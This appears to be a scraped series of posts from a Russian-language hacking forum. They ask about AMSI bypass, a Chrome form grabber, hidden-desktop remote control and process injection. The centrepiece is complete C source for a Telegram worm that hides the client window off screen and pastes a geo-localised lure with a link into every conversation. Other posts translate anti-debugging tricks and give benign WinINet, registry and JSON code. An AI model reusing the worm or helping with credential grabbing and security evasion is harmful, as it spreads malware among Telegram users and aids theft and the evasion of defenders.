Всем привет! Пытаюсь работать с макросами, возникли проблемы с amsi на этапе работы с com обьектами. Естественно понимаю, что рабочие решения по обходу, отключению являются приватными и никто не захочет просто так ими делиться, но может кто то намекнет в какую сторону копать! Спасибо!
Описание:
Secure Coding in C and C++ addresses fundamental programming errors in
C and C++ that have led to the most common, dangerous, and disruptive
software vulnerabilities recorded since CERT was founded in 1988. This
book does an excellent job of providing both an in-depth engineering
analysis of programming errors that have led to these vulnerabilities and
mitigation strategies that can be effectively and pragmatically applied to
reduce or eliminate the risk of exploitation.
Формат : PDF
Год : 2013
ISBN -13: 978-0-321-82213-0
ISBN -10: 0-321-82213-7
Всем привет. Решил написать формграббер для хрома через перехват функции WSASend из либы ws2_32.dll. Короче хуки я поставил, но буфер из LPWSABUF оказывается постоянно пустым(вывожу через MessageBoxA). В чем может быть проблема?
I post this on english so everyone can understand.
I was thinking how to make worm / spreader for telegram and this is how I did it, it send message / link to all convos, I tested it on my botnet and it generated shitload of traffic, alot of people told me it's not easy, not possible bla bla, so this was one more reason for me to make one.
No extra libs are used, works with unicode.
1. Check Telegram path exist
2. Check if process Telegram.exe is running
3. If not, start Telegram.exe, sleeps for 30 second
4. Check process Telegram.exe
5. If running, spreader gets GEO of current computer on site:
http://api.wipmania.com/
- For example if country is RU, message will be: "Лучшее фото ) link"
6. Sets Clipboard data with message generated with GEO + your link "Лучшее
фото ) link"
7. If ok, it sets windows out box, so user won't see the Telegram window
anymore
8. Setfocus on Telegram window
9. Click crtl + menu + home ( it will focus the first convo in list )
10. Goes into for loop + presses ctrl + TAB (it select new convo), since
right now there is no option to calculate how many convos it will spam all
after each other for the time you config, in KillThread is Sleep(10000); // 10
seconds
11. Stimulaty ctrl +v ( paste ) as our message is in clipboard it will paste
it in convo window + enter enter 3 times ( on slow computer it takes a bit
longer till you see confirm )
So you if someone wants make it better then update it, for everyone, I got no time to work on it right now., lot can be changed, people can learn from it, have fun.
Code:Copy to clipboard
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <Shlwapi.h>
#include <wininet.h>
bool IsProcessRunning(char *szProcName)
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (!Process32First(snapshot, &entry))
{
CloseHandle(snapshot);
return false;
}
do
{
if (strcmp(entry.szExeFile, szProcName) == 0)
{
CloseHandle(snapshot);
return true;
}
} while (Process32Next(snapshot, &entry));
CloseHandle(snapshot);
return false;
}
DWORD WINAPI KillThread(LPVOID param)
{
Sleep(10000);
ExitProcess(0);
}
bool SetClipboardTextW(wchar_t *wszText)
{
bool SetOk = false;
if (OpenClipboard(NULL))
{
if (EmptyClipboard())
{
int size = sizeof(wszText);
size += sizeof(WCHAR) * (wcslen(wszText) +1);
HGLOBAL hClipboardData = GlobalAlloc(NULL, size);
if (hClipboardData)
{
WCHAR* pchData = (WCHAR*) GlobalLock(hClipboardData);
if (pchData)
{
memcpy(pchData, (WCHAR*)wszText, size);
GlobalUnlock(hClipboardData);
SetClipboardData(CF_UNICODETEXT, hClipboardData);
SetOk = true;
}
}
}
CloseClipboard();
}
return SetOk;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(1000);
char cfg_mutex[] = "735733";
HANDLE mutex;
mutex = CreateMutex(NULL, FALSE, cfg_mutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
WCHAR wszAppData[MAX_PATH];
WCHAR wszTelegramPath[MAX_PATH];
ExpandEnvironmentStringsW(L"%appdata%", wszAppData, sizeof(wszAppData));
wsprintfW(wszTelegramPath, L"%ls\\Telegram Desktop\\Telegram.exe", wszAppData);
if (PathFileExistsW(wszTelegramPath))
{
if (IsProcessRunning("Telegram.exe") == false)
{
ShellExecuteW(NULL, L"open", wszTelegramPath, NULL, NULL, SW_SHOW);
Sleep(30000);
}
if (IsProcessRunning("Telegram.exe") == true)
{
HINTERNET hOpen, hURL;
DWORD dwRead;
char *geo;
char szData[MAX_PATH];
WCHAR wszGEOMsg[50];
WCHAR wszSpreadMsg[500];
bool GetGEOOk = false;
hOpen = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hOpen != NULL)
{
hURL = InternetOpenUrl(hOpen, "http://api.wipmania.com/", NULL, 0, 0, 0);
if (hURL != NULL)
{
memset(szData,0,sizeof(szData));
InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0;
geo = strchr(szData, '>');
if (geo)
{
geo++;
GetGEOOk = true;
if (strcmp(geo, "RU") == 0) wsprintfW(wszGEOMsg, L"Лучшее фото )");
else if (strcmp(geo, "UZ") == 0) wsprintfW(wszGEOMsg, L"Eng yaxshi rasm");
else if (strcmp(geo, "HU") == 0) wsprintfW(wszGEOMsg, L"Te vagy?");
else if (strcmp(geo, "ID") == 0) wsprintfW(wszGEOMsg, L"Apakah kamu itu");
else if (strcmp(geo, "IT") == 0) wsprintfW(wszGEOMsg, L"Sei tu?");
else if (strcmp(geo, "DE") == 0) wsprintfW(wszGEOMsg, L"Bist du das?");
else if (strcmp(geo, "FR") == 0) wsprintfW(wszGEOMsg, L"Est-ce toi?");
else if (strcmp(geo, "ES") == 0) wsprintfW(wszGEOMsg, L"Este Eres tu");
else if (strcmp(geo, "DK") == 0) wsprintfW(wszGEOMsg, L"Er det dig?");
else if (strcmp(geo, "TR") == 0) wsprintfW(wszGEOMsg, L"Bu sen misin?");
else if (strcmp(geo, "CZ") == 0) wsprintfW(wszGEOMsg, L"Jsi to?");
else if (strcmp(geo, "EE") == 0) wsprintfW(wszGEOMsg, L"Kas sa oled see?");
else if (strcmp(geo, "HR") == 0) wsprintfW(wszGEOMsg, L"Jesi li to ti?");
else if (strcmp(geo, "SI") == 0) wsprintfW(wszGEOMsg, L"Si to ti?");
else if (strcmp(geo, "PH") == 0) wsprintfW(wszGEOMsg, L"Ikaw ba ito?");
else if (strcmp(geo, "AD") == 0) wsprintfW(wszGEOMsg, L"Ets tu?");
else if (strcmp(geo, "AT") == 0) wsprintfW(wszGEOMsg, L"Bist du das?");
else if (strcmp(geo, "MY") == 0) wsprintfW(wszGEOMsg, L"Adakah ini awak?");
else if (strcmp(geo, "PL") == 0) wsprintfW(wszGEOMsg, L"Czy to ty?");
else if (strcmp(geo, "NO") == 0) wsprintfW(wszGEOMsg, L"Er dette deg?");
else if (strcmp(geo, "RO") == 0) wsprintfW(wszGEOMsg, L"Esti tu?");
else if (strcmp(geo, "SO") == 0) wsprintfW(wszGEOMsg, L"Ma kanaa?");
else if (strcmp(geo, "HI") == 0) wsprintfW(wszGEOMsg, L"Pela anei oukou?");
else if (strcmp(geo, "TM") == 0) wsprintfW(wszGEOMsg, L"Bu senmi?");
else if (strcmp(geo, "SG") == 0) wsprintfW(wszGEOMsg, L"Adakah ini awak?");
else if (strcmp(geo, "NL") == 0) wsprintfW(wszGEOMsg, L"Ben jij dit?");
else if (strcmp(geo, "BE") == 0) wsprintfW(wszGEOMsg, L"Ben jij dit?");
else if (strcmp(geo, "CN") == 0) wsprintfW(wszGEOMsg, L"這是你嗎?");
else if (strcmp(geo, "JP") == 0) wsprintfW(wszGEOMsg, L"あなたですが?");
else if (strcmp(geo, "KR") == 0) wsprintfW(wszGEOMsg, L"이게 당신인가요?");
else if (strcmp(geo, "TH") == 0) wsprintfW(wszGEOMsg, L"นี่คุณหรือเปล่า");
else if (strcmp(geo, "VN") == 0) wsprintfW(wszGEOMsg, L"Đây có phải là bạn?");
else if (strcmp(geo, "GR") == 0) wsprintfW(wszGEOMsg, L"Είσαι εσύ?");
else if (strcmp(geo, "FI") == 0) wsprintfW(wszGEOMsg, L"Oletko sinä tässä?");
else if (strcmp(geo, "UA") == 0) wsprintfW(wszGEOMsg, L"Це ти?");
else if (strcmp(geo, "KZ") == 0) wsprintfW(wszGEOMsg, L"Бұл сіз бе?");
else if (strcmp(geo, "RO") == 0) wsprintfW(wszGEOMsg, L"Ești asta???");
else if (strcmp(geo, "SK") == 0) wsprintfW(wszGEOMsg, L"Você é isso?");
else if (strcmp(geo, "AZ") == 0) wsprintfW(wszGEOMsg, L"Sənsən?");
else if (strcmp(geo, "AR") == 0) wsprintfW(wszGEOMsg, L"Դու այդպիսին ես");
else if (strcmp(geo, "BY") == 0) wsprintfW(wszGEOMsg, L"Гэта вы?");
else if (strcmp(geo, "GE") == 0) wsprintfW(wszGEOMsg, L"შენ ის ხარ?");
else if (strcmp(geo, "IL") == 0) wsprintfW(wszGEOMsg, L"שוויץ");
else if (strcmp(geo, "AL") == 0) wsprintfW(wszGEOMsg, L"A je ti");
else if (strcmp(geo, "BG") == 0) wsprintfW(wszGEOMsg, L"Това ти ли си?");
else if (strcmp(geo, "IN") == 0) wsprintfW(wszGEOMsg, L"क्या यह आप हो?");
else if (strcmp(geo, "PK") == 0) wsprintfW(wszGEOMsg, L"کیا یہ آپ ہیں؟");
else if (strcmp(geo, "AF") == 0) wsprintfW(wszGEOMsg, L"دا ته یې؟");
else if (strcmp(geo, "EG") == 0) wsprintfW(wszGEOMsg, L"هل هذا انت؟");
else if (strcmp(geo, "AM") == 0) wsprintfW(wszGEOMsg, L"Դու սա ես");
else if (strcmp(geo, "AO") == 0) wsprintfW(wszGEOMsg, L"É você?");
else if (strcmp(geo, "IQ") == 0) wsprintfW(wszGEOMsg, L"Ev tu yî?");
else if (strcmp(geo, "IR") == 0) wsprintfW(wszGEOMsg, L"این شمایید؟");
else if (strcmp(geo, "SR") == 0) wsprintfW(wszGEOMsg, L"Јеси ли то ти?");
else if (strcmp(geo, "LU") == 0) wsprintfW(wszGEOMsg, L"Ass dëst Dir?");
else if (strcmp(geo, "JO") == 0) wsprintfW(wszGEOMsg,L"هل هذا انت؟");
else if (strcmp(geo, "BD") == 0) wsprintfW(wszGEOMsg,L"এটা তুমি?");
else if (strcmp(geo, "KG") == 0) wsprintfW(wszGEOMsg, L"Бул сизби?");
else if (strcmp(geo, "MK") == 0) wsprintfW(wszGEOMsg, L"Дали си ова?");
else if (strcmp(geo, "LT") == 0) wsprintfW(wszGEOMsg, L"Ar tai jūs?");
else if (strcmp(geo, "LV") == 0) wsprintfW(wszGEOMsg, L"Vai tas esi tu?");
else wsprintfW(wszGEOMsg, L"Best photo");
}
}
InternetCloseHandle(hURL);
}
InternetCloseHandle(hOpen);
Sleep(1000);
if (GetGEOOk == true)
{
wsprintfW(wszSpreadMsg, L"%ls http://link.com/photo.php", wszGEOMsg);
if (SetClipboardTextW(wszSpreadMsg) == true)
{
Sleep(100);
HWND hMainWindow = FindWindow("Qt5QWindowIcon", NULL);
if (hMainWindow)
{
CreateThread(NULL, 0, KillThread, 0, 0, 0);
ShowWindow(hMainWindow, 1);
SetWindowPos(hMainWindow, HWND_TOPMOST, -2900, -2900, 0, 0, SWP_NOSIZE);
SetForegroundWindow(hMainWindow);
SetFocus(hMainWindow);
Sleep(200);
keybd_event(VK_CONTROL, 0, 0, 0);
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_HOME, 0, 0, 0);
keybd_event(VK_HOME, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP , 0);
keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP , 0);
Sleep(100);
int i = 0;
startit:
Sleep(200);
keybd_event(VK_CONTROL, 0, 0, 0);
for (int contacts = 0; contacts < i; contacts++)
{
SendMessage(hMainWindow, WM_KEYDOWN, VK_TAB, 0);
SendMessage(hMainWindow, WM_KEYUP, VK_TAB, 0);
Sleep(50);
}
keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP , 0);
Sleep(100);
i++;
SetForegroundWindow(hMainWindow);
SetFocus(hMainWindow);
Sleep(200);
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = 'V';
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = 'V';
ip.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &ip, sizeof(INPUT));
Sleep(100);
for (int i = 0; i < 3; i++)
{
Sleep(100);
keybd_event(VK_RETURN ,0, 0, 0);
keybd_event(VK_RETURN ,0, KEYEVENTF_KEYUP , 0);
}
goto startit;
}
}
}
}
}
return 0;
}
Изучаю данный метод инжекта:
](https://github.com/odzhan/injection/blob/master/cmdline/var_inject.c)
Windows process injection methods. Contribute to odzhan/injection development by creating an account on GitHub.
github.com
При попытке получить адрес Environment из PEB созданного мной процесса -
получаю nullptr.
Тот же Process Explorer прекрасно отображает все переменные среды созданного
процесса.
Не пойму, что не так?
Кто делал хвнц на основе создание скрытого стола и там запуск процессов?
Столкнулся с проблемой, что запустив там проводник и переключившись обратно в
свой рабочий стол и открыв обартно проводник - он открывается в скрытом
рабочем столе. А если обартно переключиться и закрыть проводник, то уже в
своем рабочем столе можно открывать.
С какими параметрами запускать в этом случае например firefox/chrome тот же?
Иначе у холдера будут траблы с тем, что он нажимает, а ничего не работает.
2020 год закончился и я решил выпустить новые антидебаг методы которые вы не видели.Что-бы начать глянем на два новых метода,оба связаны с приостановкой потока. Они не самые революционные или полезные, но лучшее я оставляю напоследок.
Обход заморозки процесса
Это милый небольшой флаг создания потока, который Microsoft добавила в 19H1. Вы когда-нибудь задумывались, почему есть дыра во флагах создания потоков? Что ж, дыра заполнена флагом, который я назову THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE (я понятия не имею, как он на самом деле называется), значение которого, естественно, равно 0x40.
Дабы продемонстрировать что оно делает,Я покажу как работает PsSuspendProcess.
C:Copy to clipboard
NTSTATUS PsSuspendProcess(_EPROCESS* Process)
{
const auto currentThread = KeGetCurrentThread();
KeEnterCriticalRegionThread(currentThread);
NTSTATUS status = STATUS_SUCCESS;
if ( ExAcquireRundownProtection(&Process->RundownProtect) )
{
auto targetThread = PsGetNextProcessThread(Process, nullptr);
while ( targetThread )
{
// Our flag in action
if ( !targetThread->Tcb.MiscFlags.BypassProcessFreeze )
PsSuspendThread(targetThread, nullptr);
targetThread = PsGetNextProcessThread(Process, targetThread);
}
ExReleaseRundownProtection(&Process->RundownProtect);
}
else
status = STATUS_PROCESS_IS_TERMINATING;
if ( Process->Flags3.EnableThreadSuspendResumeLogging )
EtwTiLogSuspendResumeProcess(status, Process, Process, 0);
KeLeaveCriticalRegionThread(currentThread);
return status;
}
Как видите, NtSuspendProcess, вызывающий PsSuspendProcess, просто проигнорирует поток с этим флагом. Еще один бонус в том, что поток также не приостанавливается NtDebugActiveProcess! Насколько мне известно, невозможно запросить или отключить флаг после того, как поток был создан с ним, поэтому вы ничего не можете с ним поделать.
Что касается его полезности, я бы сказал, что это просто приятная небольшая добавка против сброса и вызывает путаницу, когда вы нажимаете кнопку приостановить в Processhacker, и процесс продолжает работать, как будто ничего не произошло.
Пример:
Например, вот несколько угарный код, который будет продолжать печатать, что я запускаю. Я уверен, что, увидев это во время движения задним ходом, вы бы сильно запутались в том, какого черта можно приостановить свой собственный процесс.
C:Copy to clipboard
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40
NTSTATUS printer(void*) {
while(true) {
std::puts("I am running\n");
Sleep(1000);
}
return STATUS_SUCCESS;
}
HANDLE handle;
NtCreateThreadEx(&handle, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
&printer, nullptr, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
0, 0, 0, nullptr);
NtSuspendProcess(NtCurrentProcess());
Продолжая тенденцию к плохому поведению NtSuspendProcess, мы снова будем
злоупотреблять его работой, чтобы определить, был ли наш процесс
приостановлен.
Уловка заключается в том, что счетчик приостановки представляет собой 8-битное
значение со знаком. Как и в предыдущем случае, вот код, который поможет вам
понять внутреннюю работу:
C:Copy to clipboard
ULONG KeSuspendThread(_ETHREAD *Thread)
{
auto irql = KeRaiseIrql(DISPATCH_LEVEL);
KiAcquireKobjectLockSafe(&Thread->Tcb.SuspendEvent);
auto oldSuspendCount = Thread->Tcb.SuspendCount;
if ( oldSuspendCount == MAXIMUM_SUSPEND_COUNT ) // 127
{
_InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
KeLowerIrql(irql);
ExRaiseStatus(STATUS_SUSPEND_COUNT_EXCEEDED);
}
auto prcb = KeGetCurrentPrcb();
if ( KiSuspendThread(Thread, prcb) )
++Thread->Tcb.SuspendCount;
_InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
KiExitDispatcher(prcb, 0, 1, 0, irql);
return oldSuspendCount;
}
Если вы посмотрите на первый пример кода с PsSuspendProcess, в нем нет проверки на ошибки, и вам все равно, если вы больше не можете приостановить поток. Так что же происходит, когда вы вызываете NtResumeProcess? Он уменьшает счетчик приостановки! Все, что нам нужно сделать, это довести его до максимума, и когда кто-то решит приостановить и возобновить нас, он фактически оставит счет в состоянии, в котором он не был ранее.
Пример
Приведенный ниже простой код довольно эффективен:
Visual Studio - предотвращает приостановку процесса после присоединения.
WinDbg - обнаруживается при подключении.
x64dbg - кнопка паузы становится схематичной с сообщениями об ошибках типа «Программа не запущена» до тех пор, пока вы вручную не переключитесь на основной поток.
ScyllaHide - более старые версии использовали NtSuspendProcess и вызывали его обнаружение, но это было исправлено, как только я сообщил об этом.
C:Copy to clipboard
for(size_t i = 0; i < 128; ++i)
NtSuspendThread(thread, nullptr);
while(true) {
if(NtSuspendThread(thread, nullptr) != STATUS_SUSPEND_COUNT_EXCEEDED)
std::puts("I was suspended\n");
Sleep(1000);
}
Заключение
Во всяком случае, я надеюсь, что это продемонстрировало, что лучше не полагаться на NtSuspendProcess в работе так хорошо, как вы ожидаете от инструментов, работающих с потенциально вредоносным или защищенным кодом. Надеюсь, вам понравился этот пост, и ожидаем, что в ближайшие недели появится больше контента.
Оригинал: https://secret.club/2021/01/04/thread-stuff.html
Перевод: danyrusdem
Народ скиньте ссылку для скачивания по теме,
![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2020%2F11%2F328596%2Fgithub- repo.jpg&hash=681c559f729634c674d9552703a3dfd3&return_error=1)
](https://xakep.ru/2020/11/12/cobalt-strike-github/)
Издание Bleeping Computer сообщает, что на GitHub были обнаружены исходные коды Cobalt Strike, популярного инструмента для эксплуатации и постэксплуатации, изначально созданного для пентестеров и red team, но горячо любимого хакерами.
![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2017%2F06%2Fxakep- favicon-93x93.png&hash=133fa43656be1765722fac39a9e3c87e&return_error=1) xakep.ru
а то все линки закрыты.
Доброго времени суток,
Подскажите пожалуйста необразованному. Используется wininet для самых обыкновенных запросов, при инъекции процесса при первом вызове функции из либы вининета аварийное завершение. При работе в основном процессе без проблем выполняется код. Скорее всего причина в выделении памяти, которое происходит внутри функции. Подозреваю, что если кто-то ответит, то скажет дебажить процесс в который происходит инъекция Но все же, я хотел бы знать ваше мнение, стоит вообще использовать вининет при подобных задачах, или писать кастомный модуль для работы через хттп. И можно вообще юзать вининет в инжектированном процессе? Благодарю за внимание.
Подскажите хорошие курсы С++ платные/бесплатные не важно
Софт пишу на чистом С. Нужна либа для работы с zip, которая поддерживает
wchar_t , он же PWSTR.
Все что есть на гитхабе будет не корректно работать в случае если в пути до
папки есть символы нац.алфавитов, поскольку там везде char или unsigned char.
В принципе в Windows 10 можно штатными средствами сделать. Но в win7 вроде нету zip из коробки
Доброго вечера друзья - прочитал интересную статью от
Azrv3l - https://xss.is/threads/45722/#post-286634
Меня она очень сильно заинтересовала, но так как я возможно не до конца не
понимаю, что такое пруф концепта и не умею работать с C++, у меня ничего не
получилось скомпилировать в .exe файл
Ребята, будьте добры, объясните, при дебаге вижу что не хватает зависимостей, насколько я понял это
C++:Copy to clipboard
#include <iostream>
#include <Windows.h>
#include <string>
#include <sstream>
#include <wincrypt.h>
#include <tlhelp32.h>
#include <AclAPI.h>
Это вообще возможно собрать в полноценный файл исполнения?
Полный PoC вы можете найти его здесь: https://github.com/tenable/poc/tree/master/Microsoft/Sysinternals/PsExecEscalate.cpp
Click to expand...
В этой статье я хотел бы рассмотреть один из способов получения информации об операционной системе через ключи реестра Windows в пользовательском режиме (ring 3), однако, аналогичным образом могут быть получены данные и в режиме ядра (ring 0).
Известно, что поля MajorVersion, MinorVersion и BuildNumber могут быть извлечены напрямую из структуры _PEB или через вызов RtlGetVersion в режиме ядра, которая, в свою очередь, возвращает указатель на структуру _OSVERSIONINFO. Эта информация может быть использована при разработке эксплойтов или какого-либо легитимного ПО. Особенно справедливо это для версий Windows 10 , Windows Server 2016/2019 , которые имеют дополнительное поле UBR (Update Build Revision), не представленное структурой _PEB. Например, если вы разрабатываете эксплойт для [CVE-2020-17087](https://bugs.chromium.org/p/project- zero/issues/detail?id=2104), то из двух версий ОС 19042.542 и 19042.630 уязвимой будет только первая. Следовательно, проверки по BuildNumber недостаточно и желательно дополнительно проверять поле UBR. Это будет надежнее, т. к., отпадает вероятность попытки эксплуатации пропатченного билда. Безусловно, есть и другие способы, основанные на проверке версии файлов, но в этой статье мы их не будем рассматривать.
Для наших целей может подойти два ключа:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion и
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion.
Оба ключа идентичны с той лишь разницей, что второй используется как редиректор на 64-битных системах. Например, когда 32-битное приложение читает значение ключа из HKEY_LOCAL_MACHINE\SOFTWARE<компания><продукт>, то оно в действительности его получает из HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node<компания><продукт>.
В качестве тестируемых значений мы попробуем получить данные полей CurrentMajorVersionNumber, CurrentMinorVersionNumber, CurrentBuild и UBR.
В качестве кандидатов для выполнения нашей задачи нам потребуются Windows API RegOpenKeyEx и RegQueryValueEx.
Прототип функций выглядит следующим образом:
Code:Copy to clipboard
LSTATUS RegOpenKeyExA(
HKEY hKey,
LPCSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
);
LSTATUS RegQueryValueExA(
HKEY hKey,
LPCSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
Сам код довольно примитивный и не требует дополнительных разъяснений.
C:Copy to clipboard
#include <windows.h>
#include <winreg.h>
#include <stdio.h>
extern "C"
int ShowWindVer()
{
// Объявлям переменные типа DWORD, которые будут хранить необходимые значения.
// Поскольку запись реестра CurrentBuild имеет тип REG_SZ, то
// результат мы сохраняем в массив
DWORD mj_ver, min_ver, ubr, dwType, size;
BYTE cur_build[256];
HKEY hKey;
LSTATUS retValue;
LPCSTR lpSubkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
// Открываем хэндл ключа для чтения
retValue = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
lpSubkey,
NULL,
KEY_QUERY_VALUE,
&hKey);
// Проверяем возвращаемое значение
if (ERROR_SUCCESS != retValue) {
printf("RegOpenKeyEx err=%ld\n", retValue);
return 1;
}
// Получаем значение CurrentMajorVersionNumber
size = sizeof(DWORD);
retValue = RegQueryValueExA(hKey,
"CurrentMajorVersionNumber",
NULL,
&dwType,
(LPBYTE)&mj_ver,
&size);
if (ERROR_SUCCESS != retValue) {
printf("MajorVersion err=%ld\n", retValue);
return 1;
}
// Получаем значение CurrentMinorVersionNumber
size = sizeof(DWORD);
retValue = RegQueryValueExA(hKey,
"CurrentMinorVersionNumber",
NULL,
&dwType,
(LPBYTE)&min_ver,
&size);
if(ERROR_SUCCESS != retValue) {
printf("MinorVersion err=%ld\n", retValue);
return 1;
}
// Получаем значение CurrentBuild
memset(cur_build, 0, sizeof(cur_build));
size = sizeof(cur_build);
retValue = RegQueryValueExA(hKey,
"CurrentBuild",
NULL,
&dwType,
(LPBYTE)&cur_build,
&size);
if (ERROR_SUCCESS != retValue) {
printf("CurrentBuild err=%ld", retValue);
return 1;
// Обрабатываем ERROR_MORE_DATA при необходимости
// ...
}
// Получаем значение UBR
size = sizeof(DWORD);
retValue = RegQueryValueExA(hKey,
"UBR",
NULL,
&dwType,
(LPBYTE)&ubr,
&size);
if (ERROR_SUCCESS != retValue) {
printf("UBR err=%ld", retValue);
return 1;
}
// Выводим результат
printf("The Windows version is: %d.%d.%s.%d\n",
mj_ver,
min_ver,
cur_build,
ubr);
size = 0;
memset(cur_build, 0, sizeof(cur_build));
RegCloseKey(hKey);
return 0;
}
extern "C"
int main()
{
ShowWindVer();
}
Любые замечания, идеи и вопросы прошу оставлять в комментариях.
Всем привет, ищу нормальный xml парсер без использования crt, да их на гитхабе полно, но там, то не рабочие, то с ошибками(лень что то исправлять), то с использованием fstream, string. Пробовал tinyxml, там не только парсер был, в том коде невозможно разобраться, что то вырезать и т.д. Вообщем прошу скинуть если знаете какие нибудь парсеры
В общем-то, написал простенький код для отправки http/https запросов:
C:Copy to clipboard
HTTP::Resp* HTTP::SendReq(LPWSTR type, LPWSTR domain, DWORD port, LPWSTR path, Buffer* data)
{
BOOL bSuccess = TRUE;
HINTERNET hInternet = nullptr, hConnect = nullptr, hRequest = nullptr;
DWORD timeOut = HTTP_TIMEOUT_SEC * 10000;
Resp* resp = nullptr;
DWORD flag = INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_PRAGMA_NOCACHE;
if (port == INTERNET_DEFAULT_HTTPS_PORT)
flag |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS;
do
{
hInternet = InternetOpenW(HTTP_USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);
if (!(bSuccess = (hInternet != nullptr))) break;
InternetSetOptionW(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeOut, sizeof(timeOut));
InternetSetOptionW(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeOut, sizeof(timeOut));
InternetSetOptionW(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeOut, sizeof(timeOut));
hConnect = InternetConnectW(hInternet, domain, port, nullptr, nullptr, INTERNET_SERVICE_HTTP, 0, 0);
if (!(bSuccess = (hConnect != nullptr))) break;
hRequest = HttpOpenRequestW(hConnect, type, path, nullptr, nullptr, 0, flag, 0);
if (!(bSuccess = (hRequest != nullptr))) break;
if (!(bSuccess = HttpSendRequestW(hRequest, nullptr, 0, (LPVOID)data->data, data->size))) break;
resp = (Resp*)Mem::Alloc(sizeof(Resp));
if (!(bSuccess = (resp != nullptr))) break;
resp->data = (BYTE*)Mem::Alloc(1);
if (!(bSuccess = (resp->data != nullptr))) break;
resp->code = GetStatusCode(hRequest);
resp->size = 0;
BYTE tempBuff[2048] = { 0 };
DWORD dwRead;
while (InternetReadFile(hRequest, tempBuff, 2048, &dwRead) && dwRead)
{
resp->data = (BYTE*)Mem::Realloc(resp->data, resp->size + dwRead);
Mem::Copy(resp->data + resp->size, tempBuff, dwRead);
resp->size += dwRead;
}
} while (FALSE);
if (hInternet) InternetCloseHandle(hInternet);
if (hConnect) InternetCloseHandle(hConnect);
if (hRequest) InternetCloseHandle(hRequest);
if (!bSuccess)
{
if (resp->data) Mem::Free(resp->data);
Mem::Free(resp);
return nullptr;
}
return resp;
}
Судя по [доке](https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf- wininet-httpopenrequestw) - чтобы отправить https запрос достаточно добавить флаг INTERNET_FLAG_SECURE в HttpOpenRequestW, но даже если добавить этот флаг
Всем привет, сегодня я вам попытаюсь объяснить как можно легко парсить данные из json формата. И это не будут либы которые весят по 20кб. Вот код:
C++:Copy to clipboard
#include <vector>
#include <shlwapi.h>
#include <iostream>
void split(std::vector<LPCSTR> &vec, char* line, const char* symbol)
{
char* part = strtok(line, symbol);
while (part)
{
vec.push_back(part);
part = strtok(NULL, symbol);
}
}
void test()
{
char* value = NULL; // Строка, в которую будет помещено нужное значение
std::vector<LPCSTR> vec; //Вектор, в который будет записаны данные, разбитые на "
split(vec, json, "\""); //json - сами json данные
for (int i = 0; i < vec.size(); i++)
{
if (strcmp(vec[i], "value") == 0) //Сравниваем строки, если vec[i] наш ключ, то идём дальше
{
value = (char*)malloc(strlen(vec[i] + 2) + 1); //Выделение памяти
strcpy(value, vec[i + 2]); //vec[i + 2] - будет само значение ключа "value"
break; //Выходим с цикла
}
}
if (value != NULL)
{
std::cout << value << std::endl; // Выводим значение
free(value); //Очищаем память
}
}
Всем привет, решил скопировать сюда тоже свою статью с васма:[https://wasm.in/threads/chto-takoe-...ta-i-analiz-primenenija-anklava- v-bleke.33910](https://wasm.in/threads/chto-takoe-anklav-primer-testovogo- proekta-i-analiz-primenenija-anklava-v-bleke.33910)
